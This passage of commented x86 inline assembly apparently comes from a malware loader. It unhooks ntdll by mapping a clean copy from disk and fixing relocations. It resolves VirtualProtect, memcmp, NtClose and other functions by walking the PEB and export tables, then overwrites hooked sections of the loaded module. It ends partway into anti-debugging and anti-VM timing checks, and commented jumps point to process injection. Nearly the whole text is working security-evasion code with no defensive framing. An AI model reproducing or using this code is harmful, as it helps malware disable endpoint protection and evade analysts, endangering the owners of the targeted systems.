mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
mov di, [eax + 0x06]; edi = pNtHeader->FileHeader.NumberOfSections
add eax, 0xf8; eax = NtHeader + sizeof(IMAGE_NT_HEADERS) = pSectionHeader
xor ecx, ecx
copy_sections:
push[eax + 0x10]; push sections SizeOfRawData
mov edx, [eax + 0x14]; edx = sections PointerToRawData
add edx, pFile; edx = pFile + sections PointerToRawData
push edx;
mov edx, [eax + 0x0c]; edx = sections VirtualAddress
add edx, pLibraryAddr; edx += pLibraryAddr
push edx
mov esi, ecx; esi holds the counter ecx
call mem_cpy; copy each section
mov ecx, esi; move the value from esi to ecx
inc ecx; increase ecx to go to next section
mov eax, pFile; eax = pDosHeader of ntdll
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
add eax, 0xf8; eax = NtHeader + sizeof(IMAGE_NT_HEADERS) = pSectionHeader
imul ebx, ecx , 0x28
add eax, ebx
cmp cx, di
jne copy_sections
///////////////////////////////////fix relocations
/////Store Initial ImageBase
mov eax, pLibraryAddr; eax = pDosHeader of ntdll loaded
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
mov eax, [eax + 0x34]; eax = pNtHeader->OptionalHeader.ImageBase
mov pInitialImageBase, eax
/////Store Dllbase of already loaded dll
//mov eax, fs : [30h]; eax = PEB
//mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
//mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
//mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, NextLink
mov eax, [eax + 0x10]; edx = pDllBase
mov pDllBase, eax
//////set ImageBase to the ImageBase of already loaded module
mov eax, pLibraryAddr; eax = pDosHeader of ntdll loaded
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
lea eax, [eax + 0x34];
mov ebx, pDllBase
mov [eax], ebx
////////////////Check if any relocations Present
mov eax, pLibraryAddr; eax = pDosHeader of ntdll loaded
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
add eax, 0xa4; eax = NtHeader + 0xa4 = BaseRelocationTable Size
mov eax, [eax]
cmp eax, 0
je fix_relocs_end
/////////////////////
fix_relocs:
mov eax, pDllBase
mov edx, eax
mov ebx, pInitialImageBase
sub edx, ebx//reloc delta
je fix_relocs_end
mov ebx, pLibraryAddr; eax = pDosHeader of ntdll loaded
mov edi, [ebx + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add ebx, edi
add ebx, 0xa0; eax = NtHeader + 0xa0 = BaseRelocationTable VirtualAddress
mov ebx, [ebx];
test ebx, ebx
jz fix_relocs_end
add ebx, pLibraryAddr
fix_relocs_block:
mov eax, [ebx + 0x04] //ImageBaseRelocation.SizeOfBlock
test eax, eax
jz fix_relocs_end
lea ecx, [eax - 0x08]
shr ecx, 001h
lea edi, [ebx + 0x08]
fix_relocs_entry:
movzx eax,word ptr [edi] //eax = pImageReloc->Type, higher bytes are zeroed
push edx //push edx = delta for storing
mov edx,eax //edx = eax = pImageReloc->Type, higher bytes are zeroed
shr eax,00Ch //eax = divided by 4096,, Type = Entry >> 12
mov esi,[pLibraryAddr] //esi = ImageBase
and dx,00FFFh // dx and 0x0fff
add esi,[ebx] //esi = ImageBase + pBaseReloc
add esi,edx //esi = ImageBase + pBaseReloc + offset
pop edx
fix_relocs_HIGH: // IMAGE_REL_BASED_HIGH
dec eax //dec eax
jnz fix_relocs_LOW
mov eax, edx //eax =delta
shr eax, 010h //HIWORD(Delta)
jmp fix_relocs_LOW_fix
fix_relocs_LOW : // IMAGE_REL_BASED_LOW
dec eax
jnz fix_relocs_HIGHLOW
movzx eax, dx //LOWORD(Delta)
fix_relocs_LOW_fix :
add word ptr[esi], ax // mem[x] = mem[x] + delta_ImageBase
jmp fix_relocs_next_entry
fix_relocs_HIGHLOW : // IMAGE_REL_BASED_HIGHLOW
dec eax
jnz fix_relocs_next_entry
add[esi], edx // mem[x] = mem[x] + delta_ImageBase
fix_relocs_next_entry :
inc edi
inc edi //Entry++
loop fix_relocs_entry
fix_relocs_next_base :
add ebx, [ebx + 004h]
jmp fix_relocs_block
fix_relocs_end :
////////////////find memcmp
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = ntdll LDR_MODULE DllBase
mov ebx, eax; ebx = ntdll LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
memcmp_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +the base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x636d656d; comparison of name, backwards order of bytes, memc = 6d 65 6d 63
je memcmp_loop_2
jmp memcmp_loop_1
memcmp_loop_2 :
cmp dword ptr[esi + 0x3], 0x00706d63; opy = 63 6d 70 00
je stopped_memcmp_loop;
jmp memcmp_loop_1
stopped_memcmp_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of memcmp
mov mem_cmp, eax
//Find VirtualProtect to NtProtectVirtualMemory
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax]; eax = next link = kernel32 LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = kernel32 LDR_MODULE DllBase
mov ebx, eax; ebx = kernel32 LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
Virtual_Protect_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +the base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x74726956; comparison of name, backwards order of bytes, Virt = 56 69 72 74
je Virtual_Protect_loop_2
jmp Virtual_Protect_loop_1
Virtual_Protect_loop_2 :
cmp dword ptr[esi + 0xb], 0x00746365; ect = 65 63 74 00
je stopped_Virtual_Protect_loop;
jmp Virtual_Protect_loop_1
stopped_Virtual_Protect_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of VirtualProtect
mov Virtual_Protect, eax
///////////Scan and Fix PEheader
mov eax, pLibraryAddr; eax = pDosHeader of ntdll loaded
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
add eax, 0x54; eax = SizeOfHeaders
mov eax, [eax]; eax =
mov ebx, eax; ebx =
push eax
push pDllBase
push pLibraryAddr
mov eax, mem_cmp
call eax; call = memcmp()
jz mem_compare_sections
push [ddOldProtect]
push PAGE_EXECUTE_READWRITE
push ebx
push pDllBase
call Virtual_Protect; call =
jnz mem_cpy_header
mem_cpy_header:
push ebx
push pLibraryAddr
push pDllBase
call mem_cpy; call =
/////reset memory permissions
lea eax, [ddOldProtect]
push eax
push ddOldProtect
push ebx
push pDllBase
call Virtual_Protect
//////////////Scan and fix executable sections
xor ecx, ecx
mem_compare_sections :
mov eax, pDllBase
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
add eax, 0xf8; eax = NtHeader + sizeof(IMAGE_NT_HEADERS) = pSectionHeader
imul ebx, ecx , 0x28
add eax, ebx
mov eax, [eax + 0x24]
and eax, IMAGE_SCN_MEM_WRITE
cmp eax, IMAGE_SCN_MEM_WRITE
jne continue_loop
//cmp [eax + 0x24], 0x20; .skip protected readable sections
//je continue_loop
inc esi
jmp counter
continue_loop:
//Push Known VirtualSize
mov eax, pLibraryAddr; eax = pDosHeader of ntdll
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
mov di, [eax + 0x06]; edi = pNtHeader->FileHeader.NumberOfSections
add eax, 0xf8; eax = NtHeader + sizeof(IMAGE_NT_HEADERS) = pSectionHeader
imul ebx, ecx , 0x28
add eax, ebx
push [eax + 0x08]; push sections VirtualSize
mov eax, [eax + 0x08]; eax =
mov Section_Virtual_Size, eax
//push probably hooked loaded Virtual Address
mov eax, pDllBase
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
add eax, 0xf8; eax = NtHeader + sizeof(IMAGE_NT_HEADERS) = pSectionHeader
imul ebx, ecx , 0x28
add eax, ebx
mov edx, [eax + 0x0c]; edx = sections VirtualAddress
add edx, pDllBase; edx = pLibraryAddr + sections VirtualAddress
push edx;
mov pDllSectionVirtualAddress, edx
//push unhooked loaded from disk VirtualAddress
mov eax, pLibraryAddr; eax = pDosHeader of ntdll
mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
add eax, ebx; eax = NtHeader
add eax, 0xf8; eax = NtHeader + sizeof(IMAGE_NT_HEADERS) = pSectionHeader
imul ebx, ecx , 0x28
add eax, ebx
mov edx, [eax + 0x0c]; edx = sections VirtualAddress
add edx, pLibraryAddr; edx = pLibraryAddr + sections VirtualAddress
push edx;
mov pDllLibraryVirtualAddress, edx
mov esi, ecx; esi holds the counter ecx
call mem_cmp; copy each section
jnz mem_cpy_sections
mem_cpy_sections:
lea eax, [ddOldProtect]
push eax
push PAGE_EXECUTE_READWRITE
//push PAGE_READWRITE
push Section_Virtual_Size
push pDllSectionVirtualAddress//pDllBase
call Virtual_Protect
push Section_Virtual_Size
push pDllLibraryVirtualAddress//pLibraryAddr
push pDllSectionVirtualAddress//pDllBase
call mem_cpy
/////reset memory permissions
lea eax, [ddOldProtect]
push eax
push ddOldProtect
push Section_Virtual_Size
push pDllSectionVirtualAddress//pDllBase
call Virtual_Protect
counter:
mov ecx, esi; move the value from esi to ecx
inc ecx; increase ecx to go to next section
//mov eax, pLibraryAddr; eax = pDosHeader of ntdll
//mov ebx, [eax + 0x3c]; ebx = e_lfanew(+0x3c) = offset to NtHeader
//add eax, ebx; eax = NtHeader
//add eax, 0xf8; eax = NtHeader + sizeof(IMAGE_NT_HEADERS) = pSectionHeader
//imul ebx, ecx , 0x28
//add eax, ebx
cmp cx, di
jne mem_compare_sections
jmp clean_up
clean_up:
/////////// find UnmapViewOfFile
cmp pFile, NULL
jne unmap_view_of_file
unmap_view_of_file:
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax]; eax = next link = kernel32 LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = kernel32 LDR_MODULE DllBase
mov ebx, eax; ebx = kernel32 LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
unmap_view_of_file_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +th e base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x616d6e55; comparison of name, backwards order of bytes, Unma = 55 6e 6d 61
je unmap_view_of_file_loop_2
jmp unmap_view_of_file_loop_1
unmap_view_of_file_loop_2 :
cmp dword ptr[esi + 0xc], 0x00656c69; ile = 69 6c 65 00
je stopped_unmap_view_of_file_loop;
jmp unmap_view_of_file_loop_1
stopped_unmap_view_of_file_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of UnmapViewOfFIle
////////call UnmapViewOfFile
push pFile
call eax
///////////////find NtClose/CloseHandle
cmp hMap, NULL
jne Close_Handle
Close_Handle:
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
//mov eax, [eax]; eax = next link = kernel32 LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = ntdll LDR_MODULE DllBase
mov ebx, eax; ebx = ntdll LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
Close_Handle_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +th e base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
//cmp dword ptr[esi], 0x736f6c43; comparison of name, backwards order of bytes, Clos = 43 6c 6f 73
cmp dword ptr[esi], 0x6c43744e; comparison of name, backwards order of bytes, NtCl = 4e 74 43 6c
je Close_Handle_loop_2
jmp Close_Handle_loop_1
Close_Handle_loop_2 :
//cmp dword ptr[esi + 0x8], 0x00656c64; dle = 64 6c 65 00
cmp dword ptr[esi + 0x4], 0x0065736f; ose = 6f 73 65 00
je stopped_Close_Handle_loop;
jmp Close_Handle_loop_1
stopped_Close_Handle_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of NtClose
/////call NtClose on hMap, hFile handlers
mov Close_Handle_function, eax
push hMap
call Close_Handle_function
cmp hFile, -1;
jne close_handle_hFile
close_handle_hFile:
push hFile
call Close_Handle_function
/////////Find VirtualFree
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax];
mov eax, [eax + 0x10]; 16 eax = kernel32 LDR_MODULE DllBase
mov ebx, eax; ebx = kernel32 LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
Virtual_Free_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +the base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x74726956; comparison of name, backwards order of bytes, Virt = 56 69 72 74
je Virtual_Free_loop_2
jmp Virtual_Free_loop_1
Virtual_Free_loop_2 :
cmp dword ptr[esi + 0x8], 0x00656572; ree = 72 65 65 00
je stopped_Virtual_Free_loop;
jmp Virtual_Free_loop_1
stopped_Virtual_Free_loop:
mov edx, [edi + 0x24]; edx = Export table VirtualAddress + 0x24 = AddressOfNameOrdinals relative offset
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNameOrdinals Virtual Memory Address
mov cx, [edx + 2 * ecx]; ecx = AddressOfNameOrdinals + 2*NumberOfNames to walk the function ordinals
mov edx, [edi + 0x1c]; edx = Export table VirtualAddress + 0x1c = AddressOfFunctions relative offset
add edx, ebx; Table address edx = +the base address of dll stored in ebx to obtain AddressOfFunctions Virtual Memory Address
mov eax, [edx + 4 * ecx]; eax = AddressOfFunctions Virtual Memory Address + 4*ecx
add eax, ebx; eax = +the base address of dll stored in ebx to obtain Function Virtual Memory Address of VirtualFree
///////call VirtualFree
push MEM_RELEASE
push 0
push pLibraryAddr
call eax
//////////update the loop go to next loaded module
//mov eax, NextLink
//mov eax, [eax]; eax = next link
//mov NextLink, eax
//cmp eax, FirstLink
/////////////////////////end of unhooking code start of antivm anti debug
//jne unhook_loop
jmp Nt_GetTickCount_function
//jmp injection
//jmp ntsetinformation_thread
//////////////////////////////////////////////////////////////////////////////////////Start Of Antidebug/AntiVm techniques
//////////////////////////////////////NtGetTickCount
Nt_GetTickCount_function:
mov eax, fs : [30h]; eax = PEB
mov eax, [eax + 0x0c]; eax = PPEB->PPEB_LDR_DATA
mov eax, [eax + 0x14]; eax = PPEB->PPEB_LDR_DATA->InMemoryOrderModuleList.Flink
mov eax, [eax]; eax = next link = ntdll LDR_MODULE entry
mov eax, [eax + 0x10]; 16 eax = ntdll LDR_MODULE DllBase
mov ebx, eax; ebx = ntdll LDR_MODULE DllBase
mov eax, [ebx + 0x3c]; PE header VMA eax = DllBase + e_lfanew(+0x3c) = PEHeader of kernel32
mov edi, [ebx + eax + 0x78]; edi = start of Export table relative offset PE + 0x78 (i.e., offset 120 bytes) is the relative address(relative to DLL base address) of the export table
add edi, ebx; edi = Export table VirtualAddress
mov ecx, [edi + 0x18]; ecx = export table + Number of names(+0x18) the counter to parse all functions in dll NumberOfNames
mov edx, [edi + 0x20]; edx = export table + Names table relative offset(+0x20) DWORD AddressOfNames; //offset 0x20
add edx, ebx; edx = +the base address of dll stored in ebx to obtain AddressOfNames Virtual Memory Address
Nt_GetTickCount_loop_1 :
dec ecx
mov esi, [edx + ecx * 4]; esi = AddressOfNames + NumberOfNames*4(because its an address) = the relative offset of the current name from the start of AddressOfNames
add esi, ebx; esi = +th e base address of dll stored in ebx to obtain the Virtual Memory Address of the current name
cmp dword ptr[esi], 0x6547744e; comparison of name, backwards order of bytes, NtGe = 4e 74 47 65
je Nt_GetTickCount_loop_2